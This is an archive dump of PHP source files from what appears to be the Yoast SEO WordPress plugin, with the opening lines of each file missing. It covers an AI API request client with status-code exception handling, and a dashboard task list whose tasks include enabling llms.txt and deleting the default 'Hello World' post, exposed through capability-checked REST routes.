$this->body = $body;
$this->response_code = $response_code;
$this->message = $message;
$this->error_code = $error_code;
$this->missing_licenses = $missing_licenses;
}
/**
* Gets the response body.
*
* @return string The response body.
*/
public function get_body() {
return $this->body;
}
/**
* Gets the response code.
*
* @return int The response code.
*/
public function get_response_code(): int {
return $this->response_code;
}
/**
* Gets the response message.
*
* @return string The response message.
*/
public function get_message(): string {
return $this->message;
}
/**
* Gets the error code.
*
* @return string The error code.
*/
public function get_error_code(): string {
return $this->error_code;
}
/**
* Gets the missing licenses.
*
* @return array The missing licenses.
*/
public function get_missing_licenses(): array {
return $this->missing_licenses;
}
}
ai-http-request/domain/request.php 0000644 00000003431 15207625432 0013257 0 ustar 00
*/
private $body;
/**
* The headers for the request.
*
* @var array
*/
private $headers;
/**
* Whether the request is a POST request.
*
* @var bool
*/
private $is_post;
/**
* Constructor for the Request class.
*
* @param string $action_path The action path for the request.
* @param array $body The body of the request.
* @param array $headers The headers for the request.
* @param bool $is_post Whether the request is a POST request. Default is true.
*/
public function __construct( string $action_path, array $body = [], array $headers = [], bool $is_post = true ) {
$this->action_path = $action_path;
$this->body = $body;
$this->headers = $headers;
$this->is_post = $is_post;
}
/**
* Get the action path for the request.
*
* @return string The action path for the request.
*/
public function get_action_path(): string {
return $this->action_path;
}
/**
* Get the body of the request.
*
* @return array The body of the request.
*/
public function get_body(): array {
return $this->body;
}
/**
* Get the headers for the request.
*
* @return array The headers for the request.
*/
public function get_headers(): array {
return $this->headers;
}
/**
* Whether the request is a POST request.
*
* @return bool True if the request is a POST request, false otherwise.
*/
public function is_post(): bool {
return $this->is_post;
}
}
ai-http-request/domain/exceptions/internal-server-error-exception.php 0000644 00000000574 15207625432 0022220 0 ustar 00 missing_licenses = $missing_licenses;
parent::__construct( $message, $code, $error_identifier, $previous );
}
/**
* Gets the missing plugin licences.
*
* @return string[] The missing plugin licenses.
*/
public function get_missing_licenses() {
return $this->missing_licenses;
}
}
ai-http-request/domain/exceptions/service-unavailable-exception.php 0000644 00000000457 15207625432 0021672 0 ustar 00 error_identifier = (string) $error_identifier;
}
/**
* Returns the error identifier.
*
* @return string The error identifier.
*/
public function get_error_identifier(): string {
return $this->error_identifier;
}
}
ai-http-request/domain/exceptions/not-found-exception.php 0000644 00000000433 15207625433 0017655 0 ustar 00 > $response The response from the API.
*
* @return Response The parsed response.
*/
public function parse( $response ): Response;
}
ai-http-request/application/response-parser.php 0000644 00000003625 15207625434 0015762 0 ustar 00 > $response The response from the API.
*
* @return Response The parsed response.
*/
public function parse( $response ): Response {
$response_code = ( \wp_remote_retrieve_response_code( $response ) !== '' ) ? \wp_remote_retrieve_response_code( $response ) : 0;
$response_message = \esc_html( \wp_remote_retrieve_response_message( $response ) );
$error_code = '';
$missing_licenses = [];
if ( $response_code !== 200 && $response_code !== 0 ) {
$json_body = \json_decode( \wp_remote_retrieve_body( $response ) );
if ( $json_body !== null ) {
$response_message = ( $json_body->message ?? $response_message );
$error_code = ( $json_body->error_code ?? $this->map_message_to_code( $response_message ) );
if ( $response_code === 402 || $response_code === 429 ) {
$missing_licenses = isset( $json_body->missing_licenses ) ? (array) $json_body->missing_licenses : [];
}
}
}
return new Response( $response['body'], $response_code, $response_message, $error_code, $missing_licenses );
}
/**
* Maps the error message to a code.
*
* @param string $message The error message.
*
* @return string The mapped code.
*/
private function map_message_to_code( string $message ): string {
if ( \strpos( $message, 'must NOT have fewer than 1 characters' ) !== false ) {
return 'NOT_ENOUGH_CONTENT';
}
if ( \strpos( $message, 'Client timeout' ) !== false ) {
return 'CLIENT_TIMEOUT';
}
if ( \strpos( $message, 'Server timeout' ) !== false ) {
return 'SERVER_TIMEOUT';
}
return 'UNKNOWN';
}
}
ai-http-request/application/request-handler.php 0000644 00000011116 15207625434 0015727 0 ustar 00 api_client = $api_client;
$this->response_parser = $response_parser;
}
// phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods.
/**
* Executes the request to the API.
*
* @param Request $request The request to execute.
*
* @return Response The response from the API.
*
* @throws Bad_Request_Exception When the request fails for any other reason.
* @throws Forbidden_Exception When the response code is 403.
* @throws Internal_Server_Error_Exception When the response code is 500.
* @throws Not_Found_Exception When the response code is 404.
* @throws Payment_Required_Exception When the response code is 402.
* @throws Request_Timeout_Exception When the response code is 408.
* @throws Service_Unavailable_Exception When the response code is 503.
* @throws Too_Many_Requests_Exception When the response code is 429.
* @throws Unauthorized_Exception When the response code is 401.
* @throws WP_Request_Exception When the request fails for any other reason.
*/
public function handle( Request $request ): Response {
$api_response = $this->api_client->perform_request(
$request->get_action_path(),
$request->get_body(),
$request->get_headers(),
$request->is_post(),
);
$response = $this->response_parser->parse( $api_response );
// phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
switch ( $response->get_response_code() ) {
case 200:
return $response;
case 401:
throw new Unauthorized_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
case 402:
throw new Payment_Required_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() );
case 403:
throw new Forbidden_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
case 404:
throw new Not_Found_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
case 408:
throw new Request_Timeout_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
case 429:
throw new Too_Many_Requests_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() );
case 500:
throw new Internal_Server_Error_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
case 503:
throw new Service_Unavailable_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
default:
throw new Bad_Request_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() );
}
// phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped
}
// phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber
}
ai-http-request/infrastructure/api-client.php 0000644 00000005011 15207625434 0015423 0 ustar 00 $body The body of the request.
* @param array $headers The headers for the request.
* @param bool $is_post Whether the request is a POST request.
*
* @return array> The response from the API.
*
* @throws WP_Request_Exception When the wp_remote_post() returns an error.
*/
public function perform_request( string $action_path, $body, $headers, bool $is_post ): array {
// Our API expects JSON.
// The request times out after 30 seconds.
$headers = \array_merge( $headers, [ 'Content-Type' => 'application/json' ] );
$arguments = [
'timeout' => $this->get_request_timeout(),
'headers' => $headers,
];
if ( $is_post ) {
// phpcs:ignore Yoast.Yoast.JsonEncodeAlternative.Found -- Reason: We don't want the debug/pretty possibility.
$arguments['body'] = WPSEO_Utils::format_json_encode( $body );
}
/**
* Filter: 'Yoast\WP\SEO\ai_api_url' - Replaces the default URL for the AI API with a custom one.
*
* @internal
*
* @param string $url The default URL for the AI API.
*/
$url = \apply_filters( 'Yoast\WP\SEO\ai_api_url', $this->base_url );
$response = ( $is_post ) ? \wp_remote_post( $url . $action_path, $arguments ) : \wp_remote_get( $url . $action_path, $arguments );
if ( \is_wp_error( $response ) ) {
// phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive.
throw new WP_Request_Exception( $response->get_error_message() );
}
return $response;
}
/**
* Gets the timeout of the requests in seconds.
*
* @return int The timeout of the suggestion requests in seconds.
*/
public function get_request_timeout(): int {
/**
* Filter: 'Yoast\WP\SEO\ai_suggestions_timeout' - Replaces the default timeout with a custom one, for testing purposes.
*
* @since 22.7
* @internal
*
* @param int $timeout The default timeout in seconds.
*/
return (int) \apply_filters( 'Yoast\WP\SEO\ai_suggestions_timeout', 60 );
}
}
ai-http-request/infrastructure/api-client-interface.php 0000644 00000001731 15207625434 0017366 0 ustar 00 $body The body of the request.
* @param array $headers The headers for the request.
* @param bool $is_post Whether the request is a POST request.
*
* @return array> The response from the API.
*
* @throws WP_Request_Exception When the wp_remote_post() returns an error.
*/
public function perform_request( string $action_path, $body, $headers, bool $is_post ): array;
/**
* Gets the timeout of the requests in seconds.
*
* @return int The timeout of the suggestion requests in seconds.
*/
public function get_request_timeout(): int;
}
task-list/domain/endpoint/endpoint-list.php 0000644 00000001502 15207625435 0015057 0 ustar 00
*/
private $endpoints = [];
/**
* Adds an endpoint to the list.
*
* @param Endpoint_Interface $endpoint An endpoint.
*
* @return void
*/
public function add_endpoint( Endpoint_Interface $endpoint ): void {
$this->endpoints[] = $endpoint;
}
/**
* Converts the list to an array.
*
* @return array The array of endpoints.
*/
public function to_array(): array {
$result = [];
foreach ( $this->endpoints as $endpoint ) {
$result[ $endpoint->get_name() ] = $endpoint->get_url();
}
return $result;
}
}
task-list/domain/endpoint/endpoint-interface.php 0000644 00000001057 15207625435 0016051 0 ustar 00 post_type;
}
/**
* Sets the post type associated with the task.
*
* @param string $post_type The post type.
*
* @return void
*/
public function set_post_type( string $post_type ): void {
$this->post_type = $post_type;
}
/**
* Returns the task ID.
*
* @return string
*/
public function get_id(): string {
return parent::get_id() . '-' . $this->post_type;
}
/**
* Duplicates the task using a specific post type.
*
* @param string $post_type The post type.
*
* @return Post_Type_Task_Interface
*/
public function duplicate_for_post_type( string $post_type ): Post_Type_Task_Interface {
$clone = clone $this;
$clone->set_post_type( $post_type );
return $clone;
}
}
task-list/domain/tasks/post-type-task-interface.php 0000644 00000001414 15207625435 0016437 0 ustar 00
*/
public function to_array(): array;
/**
* Returns the task's priority.
*
* @return string
*/
public function get_priority(): string;
/**
* Returns the task's duration.
*
* @return int
*/
public function get_duration(): int;
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string;
/**
* Returns the task's badge.
*
* @return string|null
*/
public function get_badge(): ?string;
/**
* Returns the task's call to action.
*
* @return Call_To_Action_Entry
*/
public function get_call_to_action(): Call_To_Action_Entry;
/**
* Returns the task's copy set.
*
* @return Copy_Set
*/
public function get_copy_set(): Copy_Set;
/**
* Sets the enhanced call to action.
*
* @param Call_To_Action_Entry $enhanced_call_to_action The enhanced call to action.
*
* @return void
*/
public function set_enhanced_call_to_action( ?Call_To_Action_Entry $enhanced_call_to_action ): void;
/**
* Returns the enhanced call to action.
*
* @return Call_To_Action_Entry|null
*/
public function get_enhanced_call_to_action(): ?Call_To_Action_Entry;
/**
* Returns whether the task is valid.
*
* @return bool
*/
public function is_valid(): bool;
}
task-list/domain/tasks/abstract-completeable-task.php 0000644 00000000466 15207625435 0017000 0 ustar 00 id;
}
/**
* Returns the task's priority.
*
* @return string
*/
public function get_priority(): string {
return $this->priority;
}
/**
* Returns the task's duration.
*
* @return int
*/
public function get_duration(): int {
return $this->duration;
}
/**
* Returns the task's badge.
*
* @return string|null
*/
public function get_badge(): ?string {
return null;
}
/**
* Sets the enhanced call to action.
*
* @param Call_To_Action_Entry $enhanced_call_to_action The enhanced call to action.
*
* @return void
*/
public function set_enhanced_call_to_action( ?Call_To_Action_Entry $enhanced_call_to_action ): void {
$this->enhanced_call_to_action = $enhanced_call_to_action;
}
/**
* Returns the enhanced call to action.
*
* @return Call_To_Action_Entry|null
*/
public function get_enhanced_call_to_action(): ?Call_To_Action_Entry {
return $this->enhanced_call_to_action;
}
/**
* Returns an array representation of the task data.
*
* @return array Returns in an array format.
*/
public function to_array(): array {
$data = [
'id' => $this->get_id(),
'duration' => $this->get_duration(),
'priority' => $this->get_priority(),
'badge' => $this->get_badge(),
'isCompleted' => $this->get_is_completed(),
'callToAction' => $this->get_enhanced_call_to_action()->to_array(),
];
return \array_merge( $data, $this->get_copy_set()->to_array() );
}
/**
* Returns whether the task is valid.
*
* @return bool
*/
public function is_valid(): bool {
return true;
}
}
task-list/domain/tasks/completeable-task-interface.php 0000644 00000000544 15207625435 0017132 0 ustar 00 label = $label;
$this->type = $type;
$this->href = $href;
}
/**
* Returns the task's label.
*
* @return string|null
*/
public function get_label(): ?string {
return $this->label;
}
/**
* Returns the task's type.
*
* @return string|null
*/
public function get_type(): ?string {
return $this->type;
}
/**
* Returns the task's href.
*
* @return string|null
*/
public function get_href(): ?string {
return $this->href;
}
/**
* Returns an array representation of the call to action data.
*
* @return array Returns in an array format.
*/
public function to_array(): array {
return [
'label' => $this->label,
'type' => $this->type,
'href' => $this->href,
];
}
}
task-list/domain/components/copy-set.php 0000644 00000001766 15207625436 0014413 0 ustar 00 title = $title;
$this->why = $why;
$this->how = $how;
}
/**
* Returns an array representation of the copy set data.
*
* @return array Returns in an array format.
*/
public function to_array(): array {
return [
'title' => $this->title,
'why' => $this->why,
'how' => $this->how,
];
}
}
task-list/application/tasks-repository.php 0000644 00000001335 15207625436 0015051 0 ustar 00 tasks_collector = $tasks_collector;
}
/**
* Returns tasks data.
*
* @return array> The tasks list.
*/
public function get_tasks_data(): array {
return $this->tasks_collector->get_tasks_data();
}
}
task-list/application/endpoints/endpoints-repository.php 0000644 00000001726 15207625440 0017731 0 ustar 00
*/
private $endpoints;
/**
* Constructs the repository.
*
* @param Endpoint_Interface ...$endpoints The endpoints to add to the repository.
*/
public function __construct( Endpoint_Interface ...$endpoints ) {
$this->endpoints = $endpoints;
}
/**
* Creates a list with all endpoints.
*
* @return Endpoint_List The list with all endpoints.
*/
public function get_all_endpoints(): Endpoint_List {
$list = new Endpoint_List();
foreach ( $this->endpoints as $endpoint ) {
$list->add_endpoint( $endpoint );
}
return $list;
}
}
task-list/application/configuration/task-list-configuration.php 0000644 00000002470 15207625440 0021132 0 ustar 00 options_helper = $options_helper;
$this->endpoints_repository = $endpoints_repository;
}
/**
* Returns a configuration
*
* @return array|array>>>
*/
public function get_configuration(): array {
$configuration = [
'enabled' => $this->options_helper->get( 'enable_task_list', true ),
'endpoints' => $this->endpoints_repository->get_all_endpoints()->to_array(),
];
return $configuration;
}
}
task-list/application/tasks/set-search-appearance-templates.php 0000644 00000007054 15207625441 0020763 0 ustar 00 options_helper = $options_helper;
$this->route_helper = $route_helper;
}
/**
* Returns whether this task is completed.
*
* @return bool Whether this task is completed.
*/
public function get_is_completed(): bool {
$post_type = \get_post_type_object( $this->get_post_type() );
// First check if the SEO title has been customized.
if ( $this->options_helper->get_title_default( 'title-' . $post_type->name ) !== $this->options_helper->get( 'title-' . $post_type->name ) ) {
return true;
}
// Then check if the meta description has been customized.
if ( $this->options_helper->get_title_default( 'metadesc-' . $post_type->name ) !== $this->options_helper->get( 'metadesc-' . $post_type->name ) ) {
return true;
}
return false;
}
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string {
$post_type = \get_post_type_object( $this->get_post_type() );
$link = \sprintf(
'admin.php?page=wpseo_page_settings#/post-type/%s',
$this->route_helper->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ),
);
return \self_admin_url( $link );
}
/**
* Returns the task's call to action entry.
*
* @return string|null
*/
public function get_call_to_action(): Call_To_Action_Entry {
return new Call_To_Action_Entry(
\__( 'Set search templates', 'wordpress-seo' ),
'link',
$this->get_link(),
);
}
/**
* Returns the task's copy set.
*
* @return string|null
*/
public function get_copy_set(): Copy_Set {
$post_type = \get_post_type_object( $this->get_post_type() );
return new Copy_Set(
/* translators: %1$s expands to the post type label this task is about */
\sprintf( \__( 'Set search appearance templates for your content type: %1$s', 'wordpress-seo' ), $post_type->label ),
/* translators: %1$s expands to the post type name this task is about */
\sprintf( \__( 'Generic titles and descriptions make your results unclear in search. Templates ensure every %1$s has a clear, click-worthy snippet automatically.', 'wordpress-seo' ), $post_type->name ),
\__( 'Go to Search appearance, choose your post type, and set default title and meta description patterns.', 'wordpress-seo' ),
);
}
}
task-list/application/tasks/enable-llms-txt.php 0000644 00000005047 15207625441 0015644 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns whether this task is completed.
*
* @return bool Whether this task is completed.
*/
public function get_is_completed(): bool {
return $this->options_helper->get( 'enable_llms_txt', false );
}
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string {
return null;
}
/**
* Completes a task.
*
* @return void
*
* @throws Complete_LLMS_Task_Exception If the option could not be set.
*/
public function complete_task(): void {
$result = $this->options_helper->set( 'enable_llms_txt', true );
if ( ! $result ) {
throw new Complete_LLMS_Task_Exception();
}
}
/**
* Returns the task's call to action entry.
*
* @return string|null
*/
public function get_call_to_action(): Call_To_Action_Entry {
return new Call_To_Action_Entry(
\__( 'Enable llms.txt', 'wordpress-seo' ),
'default',
$this->get_link(),
);
}
/**
* Returns the task's copy set.
*
* @return string|null
*/
public function get_copy_set(): Copy_Set {
return new Copy_Set(
\__( 'Create an llms.txt file', 'wordpress-seo' ),
\__( 'Without llms.txt, AI crawlers may not know how to treat your content. Publishing it helps communicate your preferences in a clearer way to AI tools.', 'wordpress-seo' ),
);
}
/**
* Returns whether the task is valid.
*
* @return bool
*/
public function is_valid(): bool {
return ! \is_multisite();
}
}
task-list/application/tasks/complete-ftc.php 0000644 00000004443 15207625441 0015215 0 ustar 00 ftc_notice_helper = $ftc_notice_helper;
}
/**
* Returns whether this task is completed.
*
* @return bool Whether this task is completed.
*/
public function get_is_completed(): bool {
return $this->ftc_notice_helper->is_first_time_configuration_finished( true );
}
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string {
return \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' );
}
/**
* Returns the task's call to action entry.
*
* @return string|null
*/
public function get_call_to_action(): Call_To_Action_Entry {
return new Call_To_Action_Entry(
\__( 'Start configuration', 'wordpress-seo' ),
'link',
$this->get_link(),
);
}
/**
* Returns the task's copy set.
*
* @return string|null
*/
public function get_copy_set(): Copy_Set {
return new Copy_Set(
\__( 'Complete the First-time configuration', 'wordpress-seo' ),
/* translators: %1$s expands to Yoast SEO */
\sprintf( \__( 'Skipping setup limits how much %1$s can help you. Completing it makes sure the core settings are working in your favor.', 'wordpress-seo' ), 'Yoast SEO' ),
);
}
}
task-list/application/tasks/delete-hello-world.php 0000644 00000005355 15207625441 0016326 0 ustar 00 post_status !== 'publish' ) {
return true;
}
// Check if this is the actual Hello World post by checking the first comment.
$comments = \get_comments(
[
'post_id' => 1,
'number' => 1,
'order' => 'ASC',
],
);
if ( empty( $comments ) || \is_a( $comments[0], WP_Comment::class ) === false || $comments[0]->comment_author_email !== 'wapuu@wordpress.example' ) {
// Not the Hello World post, so consider task completed.
return true;
}
return $post->post_date !== $post->post_modified;
}
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string {
return null;
}
/**
* Completes a task.
*
* @return void
*
* @throws Complete_Hello_World_Task_Exception If the Hello World post could not be deleted.
*/
public function complete_task(): void {
$post = \get_post( 1 );
if ( $post instanceof WP_Post ) {
$result = \wp_delete_post( $post->ID );
if ( ! $result ) {
throw new Complete_Hello_World_Task_Exception();
}
}
}
/**
* Returns the task's call to action entry.
*
* @return string|null
*/
public function get_call_to_action(): Call_To_Action_Entry {
return new Call_To_Action_Entry(
\__( 'Delete for me', 'wordpress-seo' ),
'delete',
$this->get_link(),
);
}
/**
* Returns the task's copy set.
*
* @return string|null
*/
public function get_copy_set(): Copy_Set {
return new Copy_Set(
\__( 'Remove the “Hello World” post', 'wordpress-seo' ),
\__( 'Leaving placeholder content makes your site look unfinished and untrustworthy. Removing it keeps your site clean and professional for visitors and search engines.', 'wordpress-seo' ),
null,
);
}
}
task-list/application/tasks/create-new-content.php 0000644 00000004714 15207625441 0016336 0 ustar 00 post_type_helper = $post_type_helper;
}
/**
* Returns whether this task is completed.
*
* @return bool Whether this task is completed.
*/
public function get_is_completed(): bool {
if ( ! \in_array( 'post', $this->post_type_helper->get_public_post_types(), true ) ) {
return true;
}
$recent_posts = \get_posts(
[
'post_type' => 'post',
'post_status' => 'publish',
'numberposts' => 1,
'date_query' => [
[
'after' => '30 days ago',
],
],
],
);
return ! empty( $recent_posts );
}
/**
* Returns the task's link.
*
* @return string|null
*/
public function get_link(): ?string {
return \self_admin_url( 'post-new.php' );
}
/**
* Returns the task's call to action entry.
*
* @return string|null
*/
public function get_call_to_action(): Call_To_Action_Entry {
return new Call_To_Action_Entry(
\__( 'Create new post', 'wordpress-seo' ),
'add',
$this->get_link(),
);
}
/**
* Returns the task's copy set.
*
* @return string|null
*/
public function get_copy_set(): Copy_Set {
return new Copy_Set(
\__( 'Create new content', 'wordpress-seo' ),
\__( 'Long gaps without new content slow down your traffic growth. Publishing regularly gives search engines and visitors a reason to return.', 'wordpress-seo' ),
\__( 'Plan a topic, write your post, and use the SEO and Readability Analyses to refine it before publishing.', 'wordpress-seo' ),
);
}
}
task-list/infrastructure/endpoints/get-tasks-endpoint.php 0000644 00000001672 15207625444 0020012 0 ustar 00 get_namespace() . $this->get_route() );
}
}
task-list/infrastructure/endpoints/complete-task-endpoint.php 0000644 00000001722 15207625444 0020654 0 ustar 00 get_namespace() . $this->get_route() );
}
}
task-list/infrastructure/register-post-type-tasks-integration.php 0000644 00000007164 15207625444 0021523 0 ustar 00 The conditionals that must be met to load this.
*/
public static function get_conditionals(): array {
return [
Task_List_Enabled_Conditional::class,
];
}
/**
* The constructor.
*
* @param Post_Type_Task_Interface ...$post_type_tasks The post type tasks.
*/
public function __construct( Post_Type_Task_Interface ...$post_type_tasks ) {
$this->post_type_tasks = $post_type_tasks;
}
/**
* Sets the post type helper for the post type tasks.
*
* @required
*
* @codeCoverageIgnore - Is handled by DI-container.
*
* @param Post_Type_Helper $post_type_helper The post type helper.
*
* @return void
*/
public function set_post_type_helper( Post_Type_Helper $post_type_helper ) {
$this->post_type_helper = $post_type_helper;
}
/**
* Registers action hook.
*
* @return void
*/
public function register_hooks(): void {
\add_filter( 'wpseo_task_list_tasks', [ $this, 'register_post_type_tasks' ] );
}
/**
* Gets the post type tasks.
*
* @return array> The tasks.
*
* @throws Invalid_Post_Type_Tasks_Exception If any of the filtered tasks is invalid.
*/
private function get_post_type_tasks(): array {
// Remove this line when we decide to re-instate the search appearance post type tasks.
$this->post_type_tasks = [];
/**
* Filter: 'wpseo_task_list_post_type_tasks' - Allows adding more post type tasks to the task list.
*
* @param array> $tasks The post type tasks for the task list.
*
* @internal
*/
$final_post_type_tasks = \apply_filters( 'wpseo_task_list_post_type_tasks', $this->post_type_tasks );
// Check that every item is an instance of Post_Type_Task_Interface.
foreach ( $final_post_type_tasks as $task ) {
if ( ! $task instanceof Post_Type_Task_Interface ) {
throw new Invalid_Post_Type_Tasks_Exception();
}
}
return $final_post_type_tasks;
}
/**
* Adds the post type tasks in the task collector.
*
* @param array> $existing_tasks Currently set tasks.
*
* @return array> Tasks with added post type tasks.
*/
public function register_post_type_tasks( $existing_tasks ) {
$post_types = $this->post_type_helper->get_public_post_types();
$post_types = \array_intersect( $post_types, [ 'post', 'page', 'product' ] );
$tasks = [];
foreach ( $this->get_post_type_tasks() as $task ) {
foreach ( $post_types as $post_type ) {
$task_copy = $task->duplicate_for_post_type( $post_type );
$tasks[] = $task_copy;
}
}
return \array_merge( $existing_tasks, $tasks );
}
}
task-list/infrastructure/tasks-collectors/tasks-collector-interface.php 0000644 00000000566 15207625444 0022633 0 ustar 00 > The tasks data.
*/
public function get_tasks_data(): array;
}
task-list/infrastructure/tasks-collectors/tasks-collector.php 0000644 00000007243 15207625445 0020675 0 ustar 00 get_id() ] = $task;
}
$this->tasks = $tasks_with_id;
}
/**
* Sets the tracking link adapter.
*
* @required
*
* @codeCoverageIgnore - Is handled by DI-container.
*
* @param Tracking_Link_Adapter $tracking_link_adapter The tracking link adapter.
*
* @return void
*/
public function set_tracking_link_adapter( Tracking_Link_Adapter $tracking_link_adapter ) {
$this->tracking_link_adapter = $tracking_link_adapter;
}
/**
* Gets a task.
*
* @param string $task_id The task ID.
*
* @return Task_Interface The given task.
*/
public function get_task( string $task_id ): ?Task_Interface {
$all_tasks = $this->get_tasks();
return ( $all_tasks[ $task_id ] ?? null );
}
/**
* Gets a completeable task.
*
* @param string $task_id The task ID.
*
* @return Task_Interface The given task.
*/
public function get_completeable_task( string $task_id ): ?Completeable_Task_Interface {
$all_tasks = $this->get_tasks();
$task = ( $all_tasks[ $task_id ] ?? null );
if ( ! $task instanceof Completeable_Task_Interface ) {
return null;
}
return $task;
}
/**
* Gets the tasks.
*
* @return array> The tasks.
*
* @throws Invalid_Tasks_Exception If an invalid task is added.
*/
public function get_tasks(): array {
/**
* Filter: 'wpseo_task_list_tasks' - Allows adding more tasks to the task list.
*
* @param array> $tasks The tasks for the task list.
*/
$tasks = \apply_filters( 'wpseo_task_list_tasks', $this->tasks );
// Check that every item is an instance of Post_Type_Task_Interface.
foreach ( $tasks as $task_id => $task ) {
if ( ! $task instanceof Task_Interface ) {
throw new Invalid_Tasks_Exception();
}
if ( $task->is_valid() === false ) {
unset( $tasks[ $task_id ] );
}
}
return $tasks;
}
/**
* Gets the tasks data.
*
* @return array> The tasks data.
*/
public function get_tasks_data(): array {
$tasks = $this->get_tasks();
$tasks_data = [];
foreach ( $tasks as $task ) {
// We need to enhance the links first.
$task->set_enhanced_call_to_action(
new Call_To_Action_Entry(
$task->get_call_to_action()->get_label(),
$task->get_call_to_action()->get_type(),
$this->tracking_link_adapter->create_tracking_link_for_tasks(
$task->get_call_to_action()->get_href(),
),
),
);
$tasks_data[ $task->get_id() ] = $task->to_array();
}
return $tasks_data;
}
}
task-list/infrastructure/tasks-collectors/cached-tasks-collector.php 0000644 00000002465 15207625445 0022103 0 ustar 00 tasks_collector = $tasks_collector;
}
/**
* Gets the tasks data.
*
* @TODO: Maybe this can be improved at some point by caching only the is_completed info instead of all the task data.
*
* @return array> The tasks data.
*/
public function get_tasks_data(): array {
$cached_tasks_data = \get_transient( self::TASKS_TRANSIENT );
if ( $cached_tasks_data !== false ) {
return \json_decode( $cached_tasks_data, true );
}
$tasks_data = $this->tasks_collector->get_tasks_data();
\set_transient( self::TASKS_TRANSIENT, WPSEO_Utils::format_json_encode( $tasks_data ), \MINUTE_IN_SECONDS );
return $tasks_data;
}
}
task-list/user-interface/tasks/complete-task-route.php 0000644 00000007654 15207625445 0017163 0 ustar 00 The conditionals that must be met to load this.
*/
public static function get_conditionals(): array {
return [
Task_List_Enabled_Conditional::class,
];
}
/**
* The constructor.
*
* @param Tasks_Collector $tasks_collector The collector for all tasks.
* @param Capability_Helper $capability_helper The capability helper.
* @param Action_Tracker $action_tracker The action tracker.
*/
public function __construct(
Tasks_Collector $tasks_collector,
Capability_Helper $capability_helper,
Action_Tracker $action_tracker
) {
$this->tasks_collector = $tasks_collector;
$this->capability_helper = $capability_helper;
$this->action_tracker = $action_tracker;
}
/**
* Registers routes for scores.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_NAME,
[
[
'methods' => 'POST',
'callback' => [ $this, 'complete_task' ],
'permission_callback' => [ $this, 'permission_manage_options' ],
'args' => [
'options' => [
'type' => 'object',
'required' => true,
'properties' => [
'task' => [
'type' => 'string',
'required' => true,
'sanitize_callback' => 'sanitize_text_field',
],
],
],
],
],
],
);
}
/**
* Completes a task.
*
* @param WP_REST_Request $request The request object.
*
* @return WP_REST_Response The success or failure response.
*
* @throws Task_Not_Found_Exception When the given task name is not implemented yet.
*/
public function complete_task( WP_REST_Request $request ): WP_REST_Response {
try {
$this->action_tracker->track_version_for_performed_action( 'task_first_actioned_on' );
$task_name = $request->get_param( 'options' )['task'];
$task = $this->tasks_collector->get_completeable_task( $task_name );
if ( ! $task ) {
throw new Task_Not_Found_Exception();
}
$task->complete_task();
} catch ( Exception $exception ) {
return new WP_REST_Response(
[
'success' => false,
'error' => $exception->getMessage(),
],
$exception->getCode(),
);
}
\delete_transient( Cached_Tasks_Collector::TASKS_TRANSIENT );
return new WP_REST_Response(
[
'success' => true,
],
200,
);
}
/**
* Permission callback.
*
* @return bool True when user has the 'wpseo_manage_options' capability.
*/
public function permission_manage_options() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
task-list/user-interface/tasks/get-tasks-route.php 0000644 00000007026 15207625445 0016306 0 ustar 00 The conditionals that must be met to load this.
*/
public static function get_conditionals(): array {
return [
Task_List_Enabled_Conditional::class,
];
}
/**
* The constructor.
*
* @param Tasks_Repository $tasks_repository The repository for all tasks.
* @param Capability_Helper $capability_helper The capability helper.
* @param Action_Tracker $action_tracker The action tracker.
*/
public function __construct(
Tasks_Repository $tasks_repository,
Capability_Helper $capability_helper,
Action_Tracker $action_tracker
) {
$this->tasks_repository = $tasks_repository;
$this->capability_helper = $capability_helper;
$this->action_tracker = $action_tracker;
}
/**
* Registers routes for scores.
*
* @return void
*/
public function register_routes() {
\register_rest_route(
self::ROUTE_NAMESPACE,
self::ROUTE_NAME,
[
[
'methods' => 'GET',
'callback' => [ $this, 'get_tasks' ],
'permission_callback' => [ $this, 'permission_manage_options' ],
'args' => [
'options' => [
'type' => 'object',
'required' => false,
'properties' => [
'filter' => [
'type' => 'string',
'required' => false,
'sanitize_callback' => 'sanitize_text_field',
],
'limit' => [
'type' => 'int',
'required' => false,
'sanitize_callback' => 'absint',
],
],
],
],
],
],
);
}
/**
* Gets tasks with their information.
*
* @return WP_REST_Response The success or failure response.
*/
public function get_tasks(): WP_REST_Response {
try {
$this->action_tracker->track_version_for_performed_action( 'task_list_first_opened_on' );
$tasks_data = $this->tasks_repository->get_tasks_data();
} catch ( Exception $exception ) {
return new WP_REST_Response(
[
'success' => false,
'error' => $exception->getMessage(),
],
$exception->getCode(),
);
}
return new WP_REST_Response(
[
'success' => true,
'tasks' => $tasks_data,
],
200,
);
}
/**
* Permission callback.
*
* @return bool True when user has the 'wpseo_manage_options' capability.
*/
public function permission_manage_options() {
return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
}
}
main.php 0000644 00000003514 15207625445 0006216 0 ustar 00 is_development() && \class_exists( '\Yoast\WP\SEO\Dependency_Injection\Container_Compiler' ) ) {
